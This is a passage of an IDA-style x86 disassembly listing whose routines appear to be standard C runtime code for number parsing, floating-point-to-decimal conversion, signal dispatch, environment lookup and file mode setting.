loc_41F5F7:				; CODE XREF: sub_41F407+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F5B5
; ---------------------------------------------------------------------------


loc_41F5FC:				; CODE XREF: sub_41F407+18Cj
					; sub_41F407+1D7j
		cmp	bl, 2Bh
		jz	loc_41F50F
		cmp	bl, 2Dh
		jz	loc_41F50F
		jmp	loc_41F4E8
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	dword_43812C, edx ; jumptable 0041F46A case 5
		mov	[ebp+var_24], edx
		jle	short loc_41F62F
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41F63D
; ---------------------------------------------------------------------------


loc_41F62F:				; CODE XREF: sub_41F407+215j
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41F63D:				; CODE XREF: sub_41F407+226j
		test	eax, eax
		jz	loc_41F6EF
		mov	eax, esi
		jmp	short loc_41F6A0
; ---------------------------------------------------------------------------


loc_41F649:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		lea	ecx, [edi-2]	; jumptable 0041F46A case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41F659
		cmp	bl, 39h
		jle	short loc_41F69D


loc_41F659:				; CODE XREF: sub_41F407+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41F6D5
		dec	eax
		dec	eax
		jz	short loc_41F6C9
		sub	eax, 3
		jnz	loc_41F77D


loc_41F66E:				; CODE XREF: sub_41F407+2A4j
		push	8
		jmp	short loc_41F6D7
; ---------------------------------------------------------------------------


loc_41F672:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		mov	[ebp+var_20], edx ; jumptable 0041F46A case 8


loc_41F675:				; CODE XREF: sub_41F407+276j
		cmp	bl, 30h
		jnz	short loc_41F67F
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F675
; ---------------------------------------------------------------------------


loc_41F67F:				; CODE XREF: sub_41F407+271j
		cmp	bl, 31h
		jl	loc_41F77A
		cmp	bl, 39h
		jg	loc_41F77A
		jmp	short loc_41F69D
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	bl, 31h		; jumptable 0041F46A case 7
		jl	short loc_41F6A6
		cmp	bl, 39h
		jg	short loc_41F6A6


loc_41F69D:				; CODE XREF: sub_41F407+250j
					; sub_41F407+28Aj
		push	9


loc_41F69F:				; CODE XREF: sub_41F407+76j
		pop	eax


loc_41F6A0:				; CODE XREF: sub_41F407+240j
		dec	edi
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6A6:				; CODE XREF: sub_41F407+28Fj
					; sub_41F407+294j
		cmp	bl, 30h
		jnz	short loc_41F6EF
		jmp	short loc_41F66E
; ---------------------------------------------------------------------------


loc_41F6AD:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		cmp	[ebp+arg_18], 0	; jumptable 0041F46A case 11
		jz	short loc_41F6DD
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41F6D5
		dec	eax
		dec	eax
		jnz	loc_41F77D


loc_41F6C9:				; CODE XREF: sub_41F407+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6D5:				; CODE XREF: sub_41F407+258j
					; sub_41F407+2B8j
		push	7


loc_41F6D7:				; CODE XREF: sub_41F407+85j
					; sub_41F407+103j ...
		pop	eax
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6DD:				; CODE XREF: sub_41F407+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41F6E1:				; CODE XREF: sub_41F407+5Dj
					; sub_41F407+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041F46A case 10
		jz	loc_41F77F
		jmp	loc_41F45E
; ---------------------------------------------------------------------------


loc_41F6EF:				; CODE XREF: sub_41F407+12Dj
					; sub_41F407+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41F77F
; ---------------------------------------------------------------------------


loc_41F6F7:				; CODE XREF: sub_41F407+63j
					; DATA XREF: seg001:off_41F8A8o
		mov	[ebp+var_20], 1	; jumptable 0041F46A case 9
		xor	esi, esi


loc_41F700:				; CODE XREF: sub_41F407+339j
		cmp	dword_43812C, 1
		jle	short loc_41F718
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41F727
; ---------------------------------------------------------------------------


loc_41F718:				; CODE XREF: sub_41F407+300j
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F727:				; CODE XREF: sub_41F407+30Fj
		test	eax, eax
		jz	short loc_41F747
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41F742
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F700
; ---------------------------------------------------------------------------


loc_41F742:				; CODE XREF: sub_41F407+334j
		mov	esi, 1451h


loc_41F747:				; CODE XREF: sub_41F407+322j
		mov	[ebp+var_1C], esi


loc_41F74A:				; CODE XREF: sub_41F407+371j
		cmp	dword_43812C, 1
		jle	short loc_41F762
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418576
		pop	ecx
		pop	ecx
		jmp	short loc_41F771
; ---------------------------------------------------------------------------


loc_41F762:				; CODE XREF: sub_41F407+34Aj
		mov	ecx, off_437F20
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41F771:				; CODE XREF: sub_41F407+359j
		test	eax, eax
		jz	short loc_41F77A
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41F74A
; ---------------------------------------------------------------------------


loc_41F77A:				; CODE XREF: sub_41F407+99j
					; sub_41F407+E4j ...
		dec	edi
		jmp	short loc_41F77F
; ---------------------------------------------------------------------------


loc_41F77D:				; CODE XREF: sub_41F407+261j
					; sub_41F407+2BCj
		mov	edi, ecx


loc_41F77F:				; CODE XREF: sub_41F407+2DDj
					; sub_41F407+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41F867
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41F7AB
		cmp	[ebp+var_45], 5
		jl	short loc_41F79F
		inc	[ebp+var_45]


loc_41F79F:				; CODE XREF: sub_41F407+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41F7AE
; ---------------------------------------------------------------------------


loc_41F7AB:				; CODE XREF: sub_41F407+38Dj
		mov	eax, [ebp+var_C]


loc_41F7AE:				; CODE XREF: sub_41F407+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41F85D


loc_41F7B8:				; CODE XREF: sub_41F407+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41F7C6
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41F7B8
; ---------------------------------------------------------------------------


loc_41F7C6:				; CODE XREF: sub_41F407+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41F340
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41F7E5
		neg	eax


loc_41F7E5:				; CODE XREF: sub_41F407+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41F7F0
		add	eax, [ebp+arg_10]


loc_41F7F0:				; CODE XREF: sub_41F407+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41F7F8
		sub	eax, [ebp+arg_14]


loc_41F7F8:				; CODE XREF: sub_41F407+3ECj
		cmp	eax, 1450h
		jle	short loc_41F82F
		mov	[ebp+var_2C], 1


loc_41F806:				; CODE XREF: sub_41F407+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41F812:				; CODE XREF: sub_41F407+454j
					; sub_41F407+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41F878
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------


loc_41F82F:				; CODE XREF: sub_41F407+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41F83F
		mov	[ebp+var_30], 1
		jmp	short loc_41F806
; ---------------------------------------------------------------------------


loc_41F83F:				; CODE XREF: sub_41F407+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41FFF0
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41F812
; ---------------------------------------------------------------------------


loc_41F85D:				; CODE XREF: sub_41F407+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41F812
; ---------------------------------------------------------------------------


loc_41F867:				; CODE XREF: sub_41F407+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41F88D
; ---------------------------------------------------------------------------


loc_41F878:				; CODE XREF: sub_41F407+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41F88D
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41F88D:				; CODE XREF: sub_41F407+426j
					; sub_41F407+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41F407	endp

; ---------------------------------------------------------------------------
off_41F8A8	dd offset loc_41F471	; DATA XREF: sub_41F407+63r
		dd offset loc_41F4C0	; jump table for switch	statement
		dd offset loc_41F517
		dd offset loc_41F541
		dd offset loc_41F59C
		dd offset loc_41F613
		dd offset loc_41F649
		dd offset loc_41F693
		dd offset loc_41F672
		dd offset loc_41F6F7
		dd offset loc_41F6E1
		dd offset loc_41F6AD

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F8D8	proc near		; CODE XREF: sub_41E67B+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F93A
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F93E
; ---------------------------------------------------------------------------


loc_41F93A:				; CODE XREF: sub_41F8D8+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F93E:				; CODE XREF: sub_41F8D8+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F964
		test	edi, edi
		jnz	short loc_41F964
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F964


loc_41F94F:				; CODE XREF: sub_41F8D8+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41FB62
; ---------------------------------------------------------------------------


loc_41F964:				; CODE XREF: sub_41F8D8+6Cj
					; sub_41F8D8+70j ...
		cmp	dx, si
		jnz	short loc_41F9E3
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F97D
		cmp	[ebp+arg_0], 0
		jz	short loc_41F98C


loc_41F97D:				; CODE XREF: sub_41F8D8+9Dj
		test	edi, 40000000h
		jnz	short loc_41F98C
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F9D2
; ---------------------------------------------------------------------------


loc_41F98C:				; CODE XREF: sub_41F8D8+A3j
					; sub_41F8D8+ABj
		test	cx, cx
		jz	short loc_41F9A6
		cmp	edi, 0C0000000h
		jnz	short loc_41F9A6
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9CD
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F9B5
; ---------------------------------------------------------------------------


loc_41F9A6:				; CODE XREF: sub_41F8D8+B7j
					; sub_41F8D8+BFj
		cmp	edi, eax
		jnz	short loc_41F9CD
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F9CD
		push	offset a1Inf	; "1#INF"


loc_41F9B5:				; CODE XREF: sub_41F8D8+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415A20
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F9C4:				; CODE XREF: sub_41F8D8+109j
		and	[ebp+var_4], 0
		jmp	loc_41FB3B
; ---------------------------------------------------------------------------


loc_41F9CD:				; CODE XREF: sub_41F8D8+C5j
					; sub_41F8D8+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F9D2:				; CODE XREF: sub_41F8D8+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415A20
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F9C4
; ---------------------------------------------------------------------------


loc_41F9E3:				; CODE XREF: sub_41F8D8+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FFF0
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41FA44
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41FDD0
		pop	ecx
		pop	ecx


loc_41FA44:				; CODE XREF: sub_41F8D8+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41FA5E
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41FA61
		jmp	loc_41F94F
; ---------------------------------------------------------------------------


loc_41FA5E:				; CODE XREF: sub_41F8D8+173j
		mov	edi, [ebp+arg_C]


loc_41FA61:				; CODE XREF: sub_41F8D8+17Fj
		cmp	edi, 15h
		jle	short loc_41FA69
		push	15h
		pop	edi


loc_41FA69:				; CODE XREF: sub_41F8D8+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41FA7F:				; CODE XREF: sub_41F8D8+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41FA7F
		test	esi, esi
		jge	short loc_41FAA9
		neg	esi
		and	esi, 0FFh
		jle	short loc_41FAA9


loc_41FA9C:				; CODE XREF: sub_41F8D8+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F313
		dec	esi
		pop	ecx
		jnz	short loc_41FA9C


loc_41FAA9:				; CODE XREF: sub_41F8D8+1B8j
					; sub_41F8D8+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41FB06
		mov	[ebp+arg_C], ecx


loc_41FAB9:				; CODE XREF: sub_41F8D8+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41F2E5
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F287
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F2E5
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_41FAB9
		mov	eax, [ebp+arg_14]


loc_41FB06:				; CODE XREF: sub_41F8D8+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_41FB43


loc_41FB13:				; CODE XREF: sub_41F8D8+248j
		cmp	eax, ecx
		jb	short loc_41FB26
		cmp	byte ptr [eax],	39h
		jnz	short loc_41FB22
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_41FB13
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41F8D8+242j
		cmp	eax, ecx
		jnb	short loc_41FB2A


loc_41FB26:				; CODE XREF: sub_41F8D8+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_41FB2A:				; CODE XREF: sub_41F8D8+24Cj
		inc	byte ptr [eax]


loc_41FB2C:				; CODE XREF: sub_41F8D8+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_41FB3B:				; CODE XREF: sub_41F8D8+F0j
		mov	eax, [ebp+var_4]


loc_41FB3E:				; CODE XREF: sub_41F8D8+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41FB43:				; CODE XREF: sub_41F8D8+239j
					; sub_41F8D8+275j
		cmp	eax, ecx
		jb	short loc_41FB53
		cmp	byte ptr [eax],	30h
		jnz	short loc_41FB4F
		dec	eax
		jmp	short loc_41FB43
; ---------------------------------------------------------------------------


loc_41FB4F:				; CODE XREF: sub_41F8D8+272j
		cmp	eax, ecx
		jnb	short loc_41FB2C


loc_41FB53:				; CODE XREF: sub_41F8D8+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_41FB62:				; CODE XREF: sub_41F8D8+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_41FB3E
sub_41F8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB6B	proc near		; CODE XREF: sub_41B42C+342Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41FBD2
		dec	eax
		dec	eax
		jz	short loc_41FBC3
		sub	eax, 4
		jz	short loc_41FBC3
		sub	eax, 3
		jz	short loc_41FBC3
		sub	eax, 4
		jz	short loc_41FBB6
		sub	eax, 6
		jz	short loc_41FBA9
		dec	eax
		jz	short loc_41FB9C
		or	eax, 0FFFFFFFFh
		jmp	loc_41FC94
; ---------------------------------------------------------------------------


loc_41FB9C:				; CODE XREF: sub_41FB6B+27j
		mov	esi, dword_46B914
		mov	eax, offset dword_46B914
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBA9:				; CODE XREF: sub_41FB6B+24j
		mov	esi, dword_46B910
		mov	eax, offset dword_46B910
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBB6:				; CODE XREF: sub_41FB6B+1Fj
		mov	esi, dword_46B918
		mov	eax, offset dword_46B918
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBC3:				; CODE XREF: sub_41FB6B+10j
					; sub_41FB6B+15j ...
		push	edi
		call	sub_41FC98
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41FBDD
; ---------------------------------------------------------------------------


loc_41FBD2:				; CODE XREF: sub_41FB6B+Cj
		mov	esi, dword_46B90C
		mov	eax, offset dword_46B90C


loc_41FBDD:				; CODE XREF: sub_41FB6B+3Cj
					; sub_41FB6B+49j ...
		cmp	esi, 1
		jnz	short loc_41FBE9
		xor	eax, eax
		jmp	loc_41FC94
; ---------------------------------------------------------------------------


loc_41FBE9:				; CODE XREF: sub_41FB6B+75j
		test	esi, esi
		jnz	short loc_41FBF4
		push	3
		call	sub_417858


loc_41FBF4:				; CODE XREF: sub_41FB6B+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41FC06
		cmp	edi, 0Bh
		jz	short loc_41FC06
		cmp	edi, 4
		jnz	short loc_41FC2C


loc_41FC06:				; CODE XREF: sub_41FB6B+8Fj
					; sub_41FB6B+94j
		mov	ebx, dword_46B6E8
		and	dword_46B6E8, 0
		cmp	edi, ecx
		jnz	short loc_41FC5B
		mov	edx, dword_43A59C
		mov	dword_43A59C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41FC2F
; ---------------------------------------------------------------------------


loc_41FC2C:				; CODE XREF: sub_41FB6B+99j
		mov	ebx, [ebp+arg_0]


loc_41FC2F:				; CODE XREF: sub_41FB6B+BFj
		cmp	edi, ecx
		jnz	short loc_41FC5B
		mov	eax, dword_43A590
		mov	ecx, dword_43A594
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41FC62
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43A520h[edx*4]


loc_41FC50:				; CODE XREF: sub_41FB6B+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41FC50
		jmp	short loc_41FC62
; ---------------------------------------------------------------------------


loc_41FC5B:				; CODE XREF: sub_41FB6B+AAj
					; sub_41FB6B+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41FC70


loc_41FC62:				; CODE XREF: sub_41FB6B+D7j
					; sub_41FB6B+EEj
		push	dword_43A59C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41FC7E
; ---------------------------------------------------------------------------


loc_41FC70:				; CODE XREF: sub_41FB6B+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41FC7E
		cmp	edi, 4
		jnz	short loc_41FC91


loc_41FC7E:				; CODE XREF: sub_41FB6B+103j
					; sub_41FB6B+10Cj
		cmp	edi, 8
		mov	dword_46B6E8, ebx
		jnz	short loc_41FC91
		mov	eax, [ebp+arg_0]
		mov	dword_43A59C, eax


loc_41FC91:				; CODE XREF: sub_41FB6B+111j
					; sub_41FB6B+11Cj
		xor	eax, eax
		pop	ebx


loc_41FC94:				; CODE XREF: sub_41FB6B+2Cj
					; sub_41FB6B+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41FB6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41FC98	proc near		; CODE XREF: sub_41FB6B+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43A598
		cmp	dword_43A51C, edx
		push	esi
		mov	eax, offset dword_43A518
		jz	short loc_41FCC6
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43A518h[esi*4]


loc_41FCBA:				; CODE XREF: sub_41FC98+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41FCC6
		cmp	[eax+4], edx
		jnz	short loc_41FCBA


loc_41FCC6:				; CODE XREF: sub_41FC98+16j
					; sub_41FC98+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43A518h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41FCDA
		cmp	[eax+4], edx
		jz	short locret_41FCDC


loc_41FCDA:				; CODE XREF: sub_41FC98+3Bj
		xor	eax, eax

locret_41FCDC:				; CODE XREF: sub_41FC98+40j
		retn
sub_41FC98	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCDD	proc near		; CODE XREF: sub_41EA02+23p

arg_0		= dword	ptr  4

		cmp	dword_46CCB0, 0
		push	ebx
		push	esi
		mov	esi, dword_46B65C
		push	edi
		jz	short loc_41FD54
		test	esi, esi
		jnz	short loc_41FD0E
		cmp	dword_46B664, esi
		jz	short loc_41FD54
		call	sub_4200AB
		test	eax, eax
		jnz	short loc_41FD54
		mov	esi, dword_46B65C
		test	esi, esi
		jz	short loc_41FD54


loc_41FD0E:				; CODE XREF: sub_41FCDD+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41FD54
		push	ebx
		call	sub_415B10
		pop	ecx
		mov	edi, eax


loc_41FD1F:				; CODE XREF: sub_41FCDD+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41FD54
		push	eax
		call	sub_415B10
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41FD47
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41FD47
		push	edi
		push	ebx
		push	eax
		call	sub_42006C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41FD4C


loc_41FD47:				; CODE XREF: sub_41FCDD+51j
					; sub_41FCDD+59j
		add	esi, 4
		jmp	short loc_41FD1F
; ---------------------------------------------------------------------------


loc_41FD4C:				; CODE XREF: sub_41FCDD+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41FD56
; ---------------------------------------------------------------------------


loc_41FD54:				; CODE XREF: sub_41FCDD+10j
					; sub_41FCDD+1Cj ...
		xor	eax, eax


loc_41FD56:				; CODE XREF: sub_41FCDD+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FCDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FD5A	proc near		; CODE XREF: sub_41F120+8Bp
					; sub_41F120+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_46CA60
		jnb	short loc_41FDC1
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_46C960[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41FDC1
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41FD9A
		and	cl, 7Fh
		jmp	short loc_41FDA7
; ---------------------------------------------------------------------------


loc_41FD9A:				; CODE XREF: sub_41FD5A+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41FDB5
		or	cl, 80h


loc_41FDA7:				; CODE XREF: sub_41FD5A+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41FDB5:				; CODE XREF: sub_41FD5A+48j
		mov	dword_46B634, 16h
		jmp	short loc_41FDCB
; ---------------------------------------------------------------------------


loc_41FDC1:				; CODE XREF: sub_41FD5A+Bj
					; sub_41FD5A+27j
		mov	dword_46B634, 9


loc_41FDCB:				; CODE XREF: sub_41FD5A+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41FD5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDD0	proc near		; CODE XREF: sub_41F8D8+165p
					; sub_41FFF0+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
